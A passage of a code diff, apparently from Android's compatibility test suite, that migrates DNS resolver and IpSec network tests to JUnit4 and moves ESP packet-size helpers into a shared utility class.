+ final String msg = "Test continuous " + QUERY_TIMES + " queries " + TEST_DOMAIN;
+ for (Network network : getTestableNetworks()) {
+ for (int i = 0; i < QUERY_TIMES ; ++i) {
+ final VerifyCancelInetAddressCallback callback =
+ new VerifyCancelInetAddressCallback(msg, null);
+ // query v6/v4 in turn
+ boolean queryV6 = (i % 2 == 0);
+ mDns.query(network, TEST_DOMAIN, queryV6 ? TYPE_AAAA : TYPE_A,
+ FLAG_NO_CACHE_LOOKUP, executor, null, callback);
+
assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
callback.waitForAnswer());
assertTrue(msg + " returned 0 results", !callback.isAnswerEmpty());
- assertTrue(msg + " returned Ipv4 results", !callback.hasIpv4Answer());
- } catch (InterruptedException e) {
- fail(msg + " Waiting for DNS lookup was interrupted");
+ assertTrue(msg + " returned " + (queryV6 ? "Ipv4" : "Ipv6") + " results",
+ queryV6 ? !callback.hasIpv4Answer() : !callback.hasIpv6Answer());
}
}
}
diff --git a/tests/tests/net/src/android/net/cts/IpSecBaseTest.java b/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
index 35d0f48..10e43e7 100644
--- a/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
+++ b/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
@@ -23,16 +23,18 @@
import android.net.IpSecAlgorithm;
import android.net.IpSecManager;
import android.net.IpSecTransform;
+import android.platform.test.annotations.AppModeFull;
import android.system.Os;
import android.system.OsConstants;
-import android.test.AndroidTestCase;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import java.io.FileDescriptor;
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
-import java.net.Inet4Address;
import java.net.Inet6Address;
import java.net.InetAddress;
import java.net.InetSocketAddress;
@@ -42,7 +44,12 @@
import java.util.Arrays;
import java.util.concurrent.atomic.AtomicInteger;
-public class IpSecBaseTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class IpSecBaseTest {
private static final String TAG = IpSecBaseTest.class.getSimpleName();
@@ -70,10 +77,16 @@
protected ConnectivityManager mCM;
protected IpSecManager mISM;
- protected void setUp() throws Exception {
- super.setUp();
- mISM = (IpSecManager) getContext().getSystemService(Context.IPSEC_SERVICE);
- mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+ @Before
+ public void setUp() throws Exception {
+ mISM =
+ (IpSecManager)
+ InstrumentationRegistry.getContext()
+ .getSystemService(Context.IPSEC_SERVICE);
+ mCM =
+ (ConnectivityManager)
+ InstrumentationRegistry.getContext()
+ .getSystemService(Context.CONNECTIVITY_SERVICE);
}
protected static byte[] getKey(int bitLength) {
@@ -195,6 +208,17 @@
public static class JavaUdpSocket implements GenericUdpSocket {
public final DatagramSocket mSocket;
+ public JavaUdpSocket(InetAddress localAddr, int port) {
+ try {
+ mSocket = new DatagramSocket(port, localAddr);
+ mSocket.setSoTimeout(SOCK_TIMEOUT);
+ } catch (SocketException e) {
+ // Fail loudly if we can't set up sockets properly. And without the timeout, we
+ // could easily end up in an endless wait.
+ throw new RuntimeException(e);
+ }
+ }
+
public JavaUdpSocket(InetAddress localAddr) {
try {
mSocket = new DatagramSocket(0, localAddr);
@@ -425,35 +449,36 @@
}
protected static IpSecTransform buildIpSecTransform(
- Context mContext,
+ Context context,
IpSecManager.SecurityParameterIndex spi,
IpSecManager.UdpEncapsulationSocket encapSocket,
InetAddress remoteAddr)
throws Exception {
- String localAddr = (remoteAddr instanceof Inet4Address) ? IPV4_LOOPBACK : IPV6_LOOPBACK;
IpSecTransform.Builder builder =
- new IpSecTransform.Builder(mContext)
- .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
- .setAuthentication(
- new IpSecAlgorithm(
- IpSecAlgorithm.AUTH_HMAC_SHA256,
- AUTH_KEY,
- AUTH_KEY.length * 4));
+ new IpSecTransform.Builder(context)
+ .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
+ .setAuthentication(
+ new IpSecAlgorithm(
+ IpSecAlgorithm.AUTH_HMAC_SHA256,
+ AUTH_KEY,
+ AUTH_KEY.length * 4));
if (encapSocket != null) {
builder.setIpv4Encapsulation(encapSocket, encapSocket.getPort());
}
- return builder.buildTransportModeTransform(InetAddress.getByName(localAddr), spi);
+ return builder.buildTransportModeTransform(remoteAddr, spi);
}
private IpSecTransform buildDefaultTransform(InetAddress localAddr) throws Exception {
try (IpSecManager.SecurityParameterIndex spi =
mISM.allocateSecurityParameterIndex(localAddr)) {
- return buildIpSecTransform(mContext, spi, null, localAddr);
+ return buildIpSecTransform(InstrumentationRegistry.getContext(), spi, null, localAddr);
}
}
+ @Test
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testJavaTcpSocketPair() throws Exception {
for (String addr : LOOPBACK_ADDRS) {
InetAddress local = InetAddress.getByName(addr);
@@ -464,6 +489,8 @@
}
}
+ @Test
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testJavaUdpSocketPair() throws Exception {
for (String addr : LOOPBACK_ADDRS) {
InetAddress local = InetAddress.getByName(addr);
@@ -475,6 +502,8 @@
}
}
+ @Test
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testJavaUdpSocketPairUnconnected() throws Exception {
for (String addr : LOOPBACK_ADDRS) {
InetAddress local = InetAddress.getByName(addr);
@@ -486,6 +515,8 @@
}
}
+ @Test
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testNativeTcpSocketPair() throws Exception {
for (String addr : LOOPBACK_ADDRS) {
InetAddress local = InetAddress.getByName(addr);
@@ -497,6 +528,8 @@
}
}
+ @Test
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testNativeUdpSocketPair() throws Exception {
for (String addr : LOOPBACK_ADDRS) {
InetAddress local = InetAddress.getByName(addr);
@@ -508,6 +541,8 @@
}
}
+ @Test
+ @AppModeFull(reason = "Socket cannot bind in instant app mode")
public void testNativeUdpSocketPairUnconnected() throws Exception {
for (String addr : LOOPBACK_ADDRS) {
InetAddress local = InetAddress.getByName(addr);
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
index 3387064..355b496 100644
--- a/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
@@ -16,19 +16,34 @@
package android.net.cts;
+import static android.net.cts.PacketUtils.AES_CBC_BLK_SIZE;
+import static android.net.cts.PacketUtils.AES_CBC_IV_LEN;
+import static android.net.cts.PacketUtils.AES_GCM_BLK_SIZE;
+import static android.net.cts.PacketUtils.AES_GCM_IV_LEN;
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.TCP_HDRLEN_WITH_TIMESTAMP_OPT;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
import static android.system.OsConstants.IPPROTO_TCP;
import static android.system.OsConstants.IPPROTO_UDP;
+
import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
import android.net.IpSecAlgorithm;
import android.net.IpSecManager;
import android.net.IpSecTransform;
import android.net.TrafficStats;
+import android.platform.test.annotations.AppModeFull;
import android.system.ErrnoException;
import android.system.Os;
import android.system.OsConstants;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import java.io.FileDescriptor;
import java.io.IOException;
import java.net.DatagramPacket;
@@ -37,6 +52,12 @@
import java.net.InetAddress;
import java.util.Arrays;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Socket cannot bind in instant app mode")
public class IpSecManagerTest extends IpSecBaseTest {
private static final String TAG = IpSecManagerTest.class.getSimpleName();
@@ -53,27 +74,13 @@
private static final byte[] AEAD_KEY = getKey(288);
- private static final int TCP_HDRLEN_WITH_OPTIONS = 32;
- private static final int UDP_HDRLEN = 8;
- private static final int IP4_HDRLEN = 20;
- private static final int IP6_HDRLEN = 40;
-
- // Encryption parameters
- private static final int AES_GCM_IV_LEN = 8;
- private static final int AES_CBC_IV_LEN = 16;
- private static final int AES_GCM_BLK_SIZE = 4;
- private static final int AES_CBC_BLK_SIZE = 16;
-
- protected void setUp() throws Exception {
- super.setUp();
- }
-
/*
* Allocate a random SPI
* Allocate a specific SPI using previous randomly created SPI value
* Realloc the same SPI that was specifically created (expect SpiUnavailable)
* Close SPIs
*/
+ @Test
public void testAllocSpi() throws Exception {
for (InetAddress addr : GOOGLE_DNS_LIST) {
IpSecManager.SecurityParameterIndex randomSpi = null, droidSpi = null;
@@ -225,13 +232,14 @@
* release transform
* send data (expect exception)
*/
+ @Test
public void testCreateTransform() throws Exception {
InetAddress localAddr = InetAddress.getByName(IPV4_LOOPBACK);
IpSecManager.SecurityParameterIndex spi =
mISM.allocateSecurityParameterIndex(localAddr);
IpSecTransform transform =
- new IpSecTransform.Builder(mContext)
+ new IpSecTransform.Builder(InstrumentationRegistry.getContext())
.setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
.setAuthentication(
new IpSecAlgorithm(
@@ -432,19 +440,6 @@
}
}
- /** Helper function to calculate expected ESP packet size. */
- private int calculateEspPacketSize(
- int payloadLen, int cryptIvLength, int cryptBlockSize, int authTruncLen) {
- final int ESP_HDRLEN = 4 + 4; // SPI + Seq#
- final int ICV_LEN = authTruncLen / 8; // Auth trailer; based on truncation length
- payloadLen += cryptIvLength; // Initialization Vector
- payloadLen += 2; // ESP trailer
-
- // Align to block size of encryption algorithm
- payloadLen += (cryptBlockSize - (payloadLen % cryptBlockSize)) % cryptBlockSize;
- return payloadLen + ESP_HDRLEN + ICV_LEN;
- }
-
public void checkTransform(
int protocol,
String localAddress,
@@ -462,7 +457,8 @@
IpSecManager.SecurityParameterIndex spi =
mISM.allocateSecurityParameterIndex(local)) {
- IpSecTransform.Builder transformBuilder = new IpSecTransform.Builder(mContext);
+ IpSecTransform.Builder transformBuilder =
+ new IpSecTransform.Builder(InstrumentationRegistry.getContext());
if (crypt != null) {
transformBuilder.setEncryption(crypt);
}
@@ -485,7 +481,7 @@
try (IpSecTransform transform =
transformBuilder.buildTransportModeTransform(local, spi)) {
if (protocol == IPPROTO_TCP) {
- transportHdrLen = TCP_HDRLEN_WITH_OPTIONS;
+ transportHdrLen = TCP_HDRLEN_WITH_TIMESTAMP_OPT;
checkTcp(transform, local, sendCount, useJavaSockets);
} else if (protocol == IPPROTO_UDP) {
transportHdrLen = UDP_HDRLEN;
@@ -522,7 +518,7 @@
int innerPacketSize = TEST_DATA.length + transportHdrLen + ipHdrLen;
int outerPacketSize =
- calculateEspPacketSize(
+ PacketUtils.calculateEspPacketSize(
TEST_DATA.length + transportHdrLen, ivLen, blkSize, truncLenBits)
+ udpEncapLen
+ ipHdrLen;
@@ -540,13 +536,13 @@
// Add TCP ACKs for data packets
if (protocol == IPPROTO_TCP) {
int encryptedTcpPktSize =
- calculateEspPacketSize(TCP_HDRLEN_WITH_OPTIONS, ivLen, blkSize, truncLenBits);
+ PacketUtils.calculateEspPacketSize(
+ TCP_HDRLEN_WITH_TIMESTAMP_OPT, ivLen, blkSize, truncLenBits);
-
- // Add data packet ACKs
- expectedOuterBytes += (encryptedTcpPktSize + udpEncapLen + ipHdrLen) * (sendCount);
- expectedInnerBytes += (TCP_HDRLEN_WITH_OPTIONS + ipHdrLen) * (sendCount);
- expectedPackets += sendCount;
+ // Add data packet ACKs
+ expectedOuterBytes += (encryptedTcpPktSize + udpEncapLen + ipHdrLen) * (sendCount);
+ expectedInnerBytes += (TCP_HDRLEN_WITH_TIMESTAMP_OPT + ipHdrLen) * (sendCount);
+ expectedPackets += sendCount;
}
StatsChecker.waitForNumPackets(expectedPackets);
@@ -607,6 +603,7 @@
}
}
+ @Test
public void testIkeOverUdpEncapSocket() throws Exception {
// IPv6 not supported for UDP-encap-ESP
InetAddress local = InetAddress.getByName(IPV4_LOOPBACK);
@@ -622,7 +619,7 @@
try (IpSecManager.SecurityParameterIndex spi =
mISM.allocateSecurityParameterIndex(local);
IpSecTransform transform =
- new IpSecTransform.Builder(mContext)
+ new IpSecTransform.Builder(InstrumentationRegistry.getContext())
.setEncryption(crypt)
.setAuthentication(auth)
.setIpv4Encapsulation(encapSocket, encapSocket.getPort())
@@ -665,24 +662,28 @@
// checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, true, 1000);
// }
+ @Test
public void testInterfaceCountersUdp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1000, false);
}
+ @Test
public void testInterfaceCountersUdp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1000, false);
}
+ @Test
public void testInterfaceCountersUdp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1000, false);
}
+ @Test
public void testAesCbcHmacMd5Tcp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -690,6 +691,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacMd5Tcp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -697,6 +699,7 @@
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacMd5Udp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -704,6 +707,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacMd5Udp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -711,6 +715,7 @@
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha1Tcp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -718,6 +723,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha1Tcp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -725,6 +731,7 @@
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha1Udp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -732,6 +739,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha1Udp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -739,6 +747,7 @@
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha256Tcp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -746,6 +755,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha256Tcp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -753,6 +763,7 @@
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha256Udp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -760,6 +771,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha256Udp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -767,6 +779,7 @@
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha384Tcp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -774,6 +787,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha384Tcp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -781,6 +795,7 @@
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha384Udp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -788,6 +803,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha384Udp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -795,6 +811,7 @@
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha512Tcp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -802,6 +819,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha512Tcp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -809,6 +827,7 @@
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha512Udp4() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -816,6 +835,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesCbcHmacSha512Udp6() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -823,6 +843,7 @@
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
}
+ @Test
public void testAesGcm64Tcp4() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -830,6 +851,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm64Tcp6() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -837,6 +859,7 @@
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm64Udp4() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -844,6 +867,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm64Udp6() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -851,6 +875,7 @@
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm96Tcp4() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -858,6 +883,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm96Tcp6() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -865,6 +891,7 @@
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm96Udp4() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -872,6 +899,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm96Udp6() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -879,6 +907,7 @@
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm128Tcp4() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -886,6 +915,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm128Tcp6() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -893,6 +923,7 @@
checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm128Udp4() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -900,6 +931,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesGcm128Udp6() throws Exception {
IpSecAlgorithm authCrypt =
new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -907,6 +939,7 @@
checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
}
+ @Test
public void testAesCbcHmacMd5Tcp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -914,6 +947,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesCbcHmacMd5Udp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -921,6 +955,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesCbcHmacSha1Tcp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -928,6 +963,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesCbcHmacSha1Udp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -935,6 +971,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesCbcHmacSha256Tcp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -942,6 +979,7 @@
checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesCbcHmacSha256Udp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -949,6 +987,7 @@
checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
}
+ @Test
public void testAesCbcHmacSha384Tcp4UdpEncap() throws Exception {
IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -956,6 +995,7 @@
